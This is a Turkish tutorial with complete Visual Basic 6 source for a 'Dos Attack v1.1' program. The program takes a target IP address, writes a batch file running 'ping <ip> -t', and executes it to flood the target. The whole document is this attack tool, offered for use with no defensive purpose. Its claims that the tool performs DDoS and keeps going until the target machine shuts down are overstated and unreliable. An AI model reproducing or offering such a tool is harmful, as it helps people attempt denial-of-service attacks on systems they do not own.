Ddos Atack Program Yapımı

Option Explicit

Private Sub Command1_Click()
atakla
End Sub

Private Sub Command3_Click()
Form1.Height = 3360

End Sub

Private Sub Form_Load()
Text1.Text=""'Textimizi boşaltıyoruz
Text1.MaxLength=15 'İp Adresici içIn maximum 15 karakter girilmesini sağlıyoruz
If OnTheNet Then'İnternet bağlantısını KOntrol ettiyoruz
Form1.Caption = "Dos Attack v1.1"
Else
Form1.Caption = "İnternet Bağlantısı Yok...!"
End If

End Sub

'İnternet bağlantısını Kontrol içIn fonksiyon
Private Function OnTheNet() As Boolean
Winsock1.Close
Winsock1.Bind
If Winsock1.LocalIP = "" Then
OnTheNet = False
Else
OnTheNet = True
End If
End Function

'Textbox nesnesine sadece rakamlar ve nokta girilebilir kuralını koyuyoruz
Sub Text1_KeyPress(KeyAscii As Integer)
Dim N$
N = "0123456789."
If KeyAscii <> 8 Then
If InStr(N, Chr(KeyAscii)) = 0 Then
Beep
KeyAscii = 0
Exit Sub
End If
End If
End Sub

'oluşturduğumuz atakla fonksiyonu yaptığı işlem;
'Exe dosyanın bulunduğu yere atakla adında bat dosyası oluşturuyor
'Programımızdan aldığı ip adresini ana makina kapanıncaya kadar işletiyor

Sub atakla()
Dim a, b, c, d, e As Integer

a = "attack.bat"
b = "ping"
c = Text1.Text
d = " -t"

Open a For Output As #1
Print #1, b, c + d
Close #1
Shell ("attack.bat")
End Sub